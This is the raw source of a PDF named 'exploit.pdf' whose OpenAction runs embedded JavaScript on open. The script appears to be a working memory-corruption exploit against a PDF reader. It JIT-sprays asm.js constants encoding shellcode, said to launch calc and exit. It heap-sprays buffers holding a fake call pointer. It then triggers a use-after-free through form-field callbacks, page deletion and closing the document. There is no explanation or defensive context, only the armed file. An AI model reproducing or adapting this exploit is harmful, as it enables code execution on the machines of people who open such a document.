exploit.pdf

%PDF-1.7

1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/AcroForm 4 0 R
/OpenAction 8 0 R
>>
endobj

2 0 obj
<<
/Type /Pages
/Count 3
/Kids [3 0 R 10 0 R 11 0 R]
>>
endobj

3 0 obj
<<
/Type /Page
/Parent 2 0 R
/Annots [5 0 R 6 0 R 7 0 R]
>>
endobj

4 0 obj
<<
/Fields [5 0 R 6 0 R 7 0 R]
/XFA [
    (xdp:xdp) 12 0 R
    (form) 13 0 R
    (</xdp:xdp>) 14 0 R
]
>>
endobj

5 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_10)
/FT /Ch
/Rect [844 625 413 191]
/Opt [(Val01)]
/I [0 1]
/Ff 67379206
>>

endobj

6 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_12)
/FT /Ch
/Rect [553 60 781 220]
/TI 990
/I [0 1]
/Ff 1743797713
>>

endobj

7 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (field_15)
/FT /Tx
/Rect [695 237 690 797]
/MaxLen 1002
/V (foobar)
/Ff 45059
>>

endobj

8 0 obj
<<
/Type /Action
/S /JavaScript
/JS 9 0 R
>>
endobj

9 0 obj
<< /Length 5470 >>
stream
// store sprayed object
var sprayArr = [];
// store sparyed asm.js modules
var asmJsModulesArr = [];

// spray CalExec + ExitProcess shellcode
// VirtualAlloc of size 0x5000 
function sprayJITShellcode(asmJsModuleName, payloadFuncName, ffiFuncName)
{
    var script = `
        function ${asmJsModuleName} (stdlib, ffi, heap){
            'use asm';
            var ffi_func = ffi.func;

            function ${payloadFuncName} () { 
                var val = 0;
                val = ffi_func(
                    0xa8909090|0,
                    0xa8909090|0,
                    0xa8909090|0,
                    0xa890d6ff|0,
                    0xa890006a|0,
                    0xa890d7ff|0,
                    0xa851056a|0,
                    0xa890e189|0,
                    0xa85161b5|0,
                    0xa89063b1|0,
                    0xa890636c|0,
                    0xa8b99051|0,
                    0xa8c9315e|0,
                    0xa850f631|0,
                    0xa890d6ff|0,
                    0xa890c789|0,
                    0xa8ff3157|0,
                    0xa851e189|0,
                    0xa85178b5|0,
                    0xa89045b1|0,
                    0xa8907469|0,
                    0xa8b99090|0,
                    0xa85172b5|0,
                    0xa89050b1|0,
                    0xa890636f|0,
                    0xa8b99090|0,
                    0xa85173b5|0,
                    0xa89065b1|0,
                    0xa8900073|0,
                    0xa8b99090|0,
                    0xa851c931|0,
                    0xa8d2ff53|0,
                    0xa851e189|0,
                    0xa85169b5|0,
                    0xa89057b1|0,
                    0xa890456e|0,
                    0xa8b99090|0,
                    0xa85165b5|0,
                    0xa89078b1|0,
                    0xa8900063|0,
                    0xa8b99090|0,
                    0xa851c931|0,
                    0xa8905f53|0,
                    0xa8ff315e|0,
                    0xa852f631|0,
                    0xa890da01|0,
                    0xa88e148b|0,
                    0xa890de01|0,
                    0xa81c728b|0,
                    0xa8909049|0,
                    0xa80e8b66|0,
                    0xa890ce01|0,
                    0xa890e1d1|0,
                    0xa890de01|0,
                    0xa824728b|0,
                    0xa8598deb|0,
                    0xa85905eb|0,
                    0xa804759d|0,
                    0xa89c0839|0,
                    0xa89064b5|0,
                    0xa89064b1|0,
                    0xa8906572|0,
                    0xa8b99090|0,
                    0xa804c083|0,
                    0xa827759d|0,
                    0xa89c0839|0,
                    0xa8906fb5|0,
                    0xa89072b1|0,
                    0xa8904163|0,
                    0xa8b99090|0,
                    0xa804c083|0,
                    0xa84a759d|0,
                    0xa89c0839|0,
                    0xa89065b5|0,
                    0xa89047b1|0,
                    0xa8905074|0,
                    0xa8b9d801|0,
                    0xa89051ad|0,
                    0xa841c931|0,
                    0xa890de01|0,
                    0xa820728b|0,
                    0xa890da01|0,
                    0xa878528b|0,
                    0xa890da01|0,
                    0xa83c538b|0,
                    0xa810588b|0,
                    0xa8ad96ad|0,
                    0xa814708b|0,
                    0xa80c408b|0,
                    0xa8008b64|0,
                    0xa858306a|0,
                    0xa890c931|0,
                    0xa8909090|0, 
                    0x19b447a2|0,   //using predicated 19b40000 base
                )|0;
                return val|0;
            }
            return ${payloadFuncName};
        }

        function ${ffiFuncName} () {
            var x = 0;
            return x|0;
        } 
        for (var f=0; f<0x10; f++) { 
            asmJsModulesArr.push(${asmJsModuleName}(this, { func: ${ffiFuncName} }, 0)); 
        };
    `;
    eval(script)
    // required to generate jit code
    asmJsModulesArr[asmJsModulesArr.length-1]();
}

// spray memory allocations
function reclaim(size, count){
    for (var i = 0; i < count; i++) {
        sprayArr[i] = new SharedArrayBuffer(size);
        var rop = new DataView(sprayArr[i]);
        //control value for - call dword ptr [eax+74h]
        //first dword is pointer to the shellcode
        rop.setUint32(0, 0x2947b419);
        for (var j = 4; j < rop.byteLength/4; j+=4) {
            rop.setUint32(j, 0x42424242);
        }
    }
}

//spray jit shellcode allocation
//00005dbc: index to shellcode from the base of the virtualalloc
for (var jitcount=0; jitcount<3000; jitcount++) {
    sprayJITShellcode("foo"+jitcount, "payload"+jitcount, "ffi_func"+jitcount);
}

// code to trigger vulnerabilty
var f0 = this.getField("field_15");
var f1 = this.getField("field_12");

f1.setAction("Format", "formatCallback()"); 
this.getField("field_10").setFocus();

function calculateCallback()
{
    //trigger formatCallback on field 1
    f1.setItems([1]);

    // reclaim freed memory by spraying fixed allocations
    reclaim(0x58, 0x1000);
    reclaim(0x68, 0x1000);
}

function formatCallback()
{
    // free object of size 0x68
    this.deletePages(0);
}

f0.setAction("Calculate", "calculateCallback()");

//close document to trigger vulnerability
this.closeDoc(true);
endstream
endobj

10 0 obj
<< /Parent 2 0 R
/Resources <<
/Font <<
    /F1 <<
        /Type /Font
        /Subtype /Type1
        /BaseFont /Helvetica
        /Name /F1
    >>
>>
>>
/Type /Page
/MediaBox [ 0 0 795 842 ]
>>
endobj

11 0 obj
<< /Parent 2 0 R
/Resources <<
/Font <<
    /F1 <<
        /Type /Font
        /Subtype /Type1
        /BaseFont /Helvetica
        /Name /F1
    >>
>>
>>
/Type /Page
/MediaBox [ 0 0 795 842 ]
>>
endobj

12 0 obj
<< /Length 89 >>
stream
<?xml version="1.0" encoding="UTF-8"?>
    <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj

13 0 obj
<< /Length 364 >>
stream

    <template id="template0"> 
    <subform id="subform0" name="subform0">
        <pageSet>
            <pageArea id="Page-HC0" name="Page-HC0">
                <contentArea h="10.5in" w="8in" x="0.25in" y="0.25in"/>
                <medium long="11in" short="8.5in" stock="letter"/>
            </pageArea>
        </pageSet>
    </subform>
    </template>
    
endstream
endobj

14 0 obj
<< /Length 10 >>
stream
</xdp:xdp>
endstream
endobj

xref
0 15
0000000000 65535 f 
0000000010 00000 n 
0000000094 00000 n 
0000000166 00000 n 
0000000242 00000 n 
0000000364 00000 n 
0000000500 00000 n 
0000000630 00000 n 
0000000764 00000 n 
0000000825 00000 n 
0000006348 00000 n 
0000006561 00000 n 
0000006774 00000 n 
0000006915 00000 n 
0000007332 00000 n 
trailer
<<
 /Size 15
 /Root 1 0 R
>>
startxref
7394
%%EOF